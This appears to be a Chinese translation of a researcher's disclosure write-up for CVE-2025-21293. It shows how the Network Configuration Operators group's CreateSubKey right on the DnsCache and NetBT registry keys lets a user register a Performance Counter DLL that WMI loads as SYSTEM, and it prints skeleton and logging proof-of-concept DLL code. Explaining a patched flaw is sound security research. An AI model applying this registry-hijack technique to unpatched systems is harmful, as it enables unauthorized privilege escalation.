Active Directory Domain Services 权限提升漏洞 (CVE-2025-21293)

admin 2025年2月5日00:39:12评论29 views字数 6657阅读22分11秒阅读模式

【翻译】Active Directory Domain Services Elevation of Privilege Vulnerability (CVE-2025-21293)  A tale of mediocracy 

引言

2024 年 9 月,在一次客户项目中,我遇到了 "Network Configuration Operators" 组,这是 Active Directory 的一个内置组(默认)。由于我之前从未听说或遇到过这个组成员身份,它立即引起了我的注意。最初,我试图查找它是否存在任何安全隐患,就像它更为人知的 DNS Admins 和 Backup Operators 组一样,但没有找到任何相关信息。关于这个组的信息出奇地少,但我忍不住进行了深入研究。这让我深入研究了 Registry Database 访问控制列表和武器化的可能性,最终发现了CVE-2025-21293。在进入正文之前,我要特别感谢 Clément Labro,他最初在寻找武器化 performance counters 方面做了大量工作(希望在文章结束时这一点会更有意义),以及我在 ReTest Security ApS 的同事们,他们为我提供了该领域的知识和实践机会。

Network Configuration Operators

"Network Configuration Operators" 组是所谓的默认 Active Directory 安全组之一。当你设置本地域控制器时,该组和其他类似组会自动创建。

Microsoft Learn Documentation

我找到了这篇存档文章,据我了解,这是最初详细介绍 "Network Configurations Operators" 组的引入和功能的原始文章,日期是 2007 年。从文章中可以清楚地看出,该组旨在为用户提供操作其机器网络接口的权限,但不给予完全的本地管理员权限。表面上看这是合理的,但由于某种原因,Microsoft 让这个旧的内置组在系统上保留了过多权限。存档 KB 文章

whoami /groups的输出

Active Directory Domain Services 权限提升漏洞 (CVE-2025-21293)
Whoamigroups

CreateSubKey

我解析了 Registry 数据库访问控制列表,发现用户组访问控制列表权限中存在一个异常,该组对两个敏感的服务相关 Registry 键(DnsCache 和 NetBT)持有 "CreateSubKey" 属性。

Active Directory Domain Services 权限提升漏洞 (CVE-2025-21293)
Registry rights

根据 Registry Key Security and Access Right文档,KEY_CREATE_SUB_KEY属性仅用于在现有 registry 键下创建子键。

只有当引入下一个谜题部分时,这才变得有趣。因为 Windows 允许其用户使用系统服务和应用程序的Performance Data

武器化 Performance Counters

从高层次来看,Performance Counters 功能通过 Performance counter consumers(如我们示例中的 PerfMon.exe 或 WMI)从系统上的服务和应用程序中检索和处理数据。对我们来说,这意味着能够在系统上运行代码,并在 WMI 服务(NTSYSTEM)的安全上下文中运行。但首先让我们分析如何注册 Performance Counter。

OpenPerformanceData Documentation

要注册性能监控例程,程序员必须注册 4 个 registry 子键:

  • Library(你的 performance DLL 的名称)
  • Open(你的 DLL 中 Open 函数的名称)
  • Collect(你的 DLL 中 Collect 函数的名称)
  • Close(你的 DLL 中 Close 函数的名称)

通过在 DnsCache 服务 Registry 键下注册子键,如下例所示,我们已成功映射了 Performance Counter。

Active Directory Domain Services 权限提升漏洞 (CVE-2025-21293)
Registry tree registered

概念验证代码

以下是 Performance Counter DLL 的框架,包含必要部分但不包含任何逻辑。

#include<Windows.h>// Exported functions for Performance Counterextern"C" __declspec(dllexport) DWORD APIENTRY OpenPerfData(LPWSTR pContext);extern"C" __declspec(dllexport) DWORD APIENTRY CollectPerfData(LPWSTR pQuery, PVOID* ppData, LPDWORD pcbData, LPDWORD pObjectsReturned);extern"C" __declspec(dllexport) DWORD APIENTRY ClosePerfData();// Example implementation of the Open functionDWORD APIENTRY OpenPerfData(LPWSTR pContext){// Implement logic for initializing the performance counterreturn ERROR_SUCCESS; // Return success}// Example implementation of the Collect functionDWORD APIENTRY CollectPerfData(LPWSTR pQuery, PVOID* ppData, LPDWORD pcbData, LPDWORD pObjectsReturned){// Implement logic for collecting performance data// Populate ppData, pcbData, and pObjectsReturned as neededreturn ERROR_SUCCESS; // Return success}// Example implementation of the Close functionDWORD APIENTRY ClosePerfData(){// Implement logic for cleaning up resources or closing the performance counterreturn ERROR_SUCCESS; // Return success}// DLL Entry Pointextern"C"BOOL WINAPI DllMain(HINSTANCE const instance, DWORD const reason, LPVOID const reserved){switch (reason)    {case DLL_PROCESS_ATTACH:// Implement initialization logic for when the DLL is loadedbreak;case DLL_THREAD_ATTACH:// Optional: Logic for thread initializationbreak;case DLL_THREAD_DETACH:// Optional: Logic for thread cleanupbreak;case DLL_PROCESS_DETACH:// Implement cleanup logic for when the DLL is unloadedbreak;    }return TRUE;}

由于 Itm4n 已经探索过利用 performance counters 的路径,我借鉴了他的工作成果和概念验证代码,这些代码能够优雅地记录 DLL 中导出函数的执行上下文。这是他在 2020 年博客文章中分享的实现。

#include<iostream>#include<Windows.h>#include<Lmcons.h> // UNLEN + GetUserName#include<tlhelp32.h> // CreateToolhelp32Snapshot()#include<strsafe.h>extern"C" __declspec(dllexport) DWORD APIENTRY OpenPerfData(LPWSTR pContext);extern"C" __declspec(dllexport) DWORD APIENTRY CollectPerfData(LPWSTR pQuery, PVOID* ppData, LPDWORD pcbData, LPDWORD pObjectsReturned);extern"C" __declspec(dllexport) DWORD APIENTRY ClosePerfData();voidLog(LPCWSTR pwszCallingFrom);voidLogToFile(LPCWSTR pwszFilnema, LPWSTR pwszData);DWORD APIENTRY OpenPerfData(LPWSTR pContext){    Log(L"OpenPerfData");return ERROR_SUCCESS;}DWORD APIENTRY CollectPerfData(LPWSTR pQuery, PVOID* ppData, LPDWORD pcbData, LPDWORD pObjectsReturned){    Log(L"CollectPerfData");return ERROR_SUCCESS;}DWORD APIENTRY ClosePerfData(){    Log(L"ClosePerfData");return ERROR_SUCCESS;}voidLog(LPCWSTR pwszCallingFrom){    LPWSTR pwszBuffer, pwszCommandLine;    WCHAR wszUsername[UNLEN + 1] = { 0 };    SYSTEMTIME st = { 0 };    HANDLE hToolhelpSnapshot;    PROCESSENTRY32 stProcessEntry = { 0 };    DWORD dwPcbBuffer = UNLEN, dwBytesWritten = 0, dwProcessId = 0, dwParentProcessId = 0, dwBufSize = 0;    BOOL bResult = FALSE;// Get the command line of the current process    pwszCommandLine = GetCommandLine();// Get the name of the process owner    GetUserName(wszUsername, &dwPcbBuffer);// Get the PID of the current process    dwProcessId = GetCurrentProcessId();// Get the PID of the parent process    hToolhelpSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);    stProcessEntry.dwSize = sizeof(PROCESSENTRY32);if (Process32First(hToolhelpSnapshot, &stProcessEntry)) {do {if (stProcessEntry.th32ProcessID == dwProcessId) {                dwParentProcessId = stProcessEntry.th32ParentProcessID;break;            }        } while (Process32Next(hToolhelpSnapshot, &stProcessEntry));    }    CloseHandle(hToolhelpSnapshot);// Get the current date and time    GetLocalTime(&st);// Prepare the output string and log the result    dwBufSize = 4096 * sizeof(WCHAR);    pwszBuffer = (LPWSTR)malloc(dwBufSize);if (pwszBuffer)    {        StringCchPrintf(pwszBuffer, dwBufSize, L"[%.2u:%.2u:%.2u] - PID=%d - PPID=%d - USER='%s' - CMD='%s' - METHOD='%s'rn",            st.wHour,            st.wMinute,            st.wSecond,            dwProcessId,            dwParentProcessId,            wszUsername,            pwszCommandLine,            pwszCallingFrom        );        LogToFile(L"C:\LOGS\RpcEptMapperPoc.log", pwszBuffer);free(pwszBuffer);    }}voidLogToFile(LPCWSTR pwszFilename, LPWSTR pwszData){    HANDLE hFile;    DWORD dwBytesWritten;    hFile= CreateFile(pwszFilename, FILE_APPEND_DATA, 0NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);if (hFile != INVALID_HANDLE_VALUE)    {        WriteFile(hFile, pwszData, (DWORD)wcslen(pwszData) * sizeof(WCHAR), &dwBytesWritten, NULL);        CloseHandle(hFile);    }}extern"C"BOOL WINAPI DllMain(HINSTANCE const instance, DWORD const reason, LPVOID const reserved){switch (reason)    {case DLL_PROCESS_ATTACH:        Log(L"DllMain");break;case DLL_THREAD_ATTACH:break;case DLL_THREAD_DETACH:break;case DLL_PROCESS_DETACH:break;    }return TRUE;}

最终阶段

一旦 Registry 键被映射且 DLL 位于磁盘上(或理论上位于网络可达的某个位置),就到了启动并期待成功的时候了。现在请记住我之前提到过 Perfmon.exe 作为 Performance Counter Consumer,通过 Explorer 启动 Perfmon.exe 实用程序,在下面截图中显示的界面中,我们可以看到我们的日志记录功能的执行。

Active Directory Domain Services 权限提升漏洞 (CVE-2025-21293)
Perfmon.exe GUI

当前用户的安全上下文是执行 Perfmon.exe 的上下文,因此这并没有什么特别令人兴奋的地方。当然,除了证明我们正确实现了 Performance Counter。

Active Directory Domain Services 权限提升漏洞 (CVE-2025-21293)
执行已记录

现在,在这种情况下武器化 Performance Counter 依赖于使用 WMI 作为 Consumer 来查询 Performance Counters,

Active Directory Domain Services 权限提升漏洞 (CVE-2025-21293)
WMI 作为 Consumer

从截图中可以清楚地看到,恶意 DLL 已在 SYSTEM安全上下文中执行。这是本博客中的最终证明,确认了在 2025 年 1 月 14 日通过引入 1 月安全更新修复 "Network Configuration Operators" 组之前,在特定条件下成功突破系统完整性的可能性。

Active Directory Domain Services 权限提升漏洞 (CVE-2025-21293)
执行已记录 2

最终思考

这个意外的任务既有趣又是一次很好的学习经历。它确实激励我更深入地学习和研究 Windows 内部机制。随着 1 月安全更新的发布,这个特定的路径已被修补,现在 "CreateSubKey" 权限似乎不再附带 "Set value" 权限,后者允许将键名更改为 "Performance",这是利用的初始条件。

原文始发于微信公众号(securitainment):Active Directory Domain Services 权限提升漏洞 (CVE-2025-21293)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月5日00:39:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Active Directory Domain Services 权限提升漏洞 (CVE-2025-21293)https://cn-sec.com/archives/3695664.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息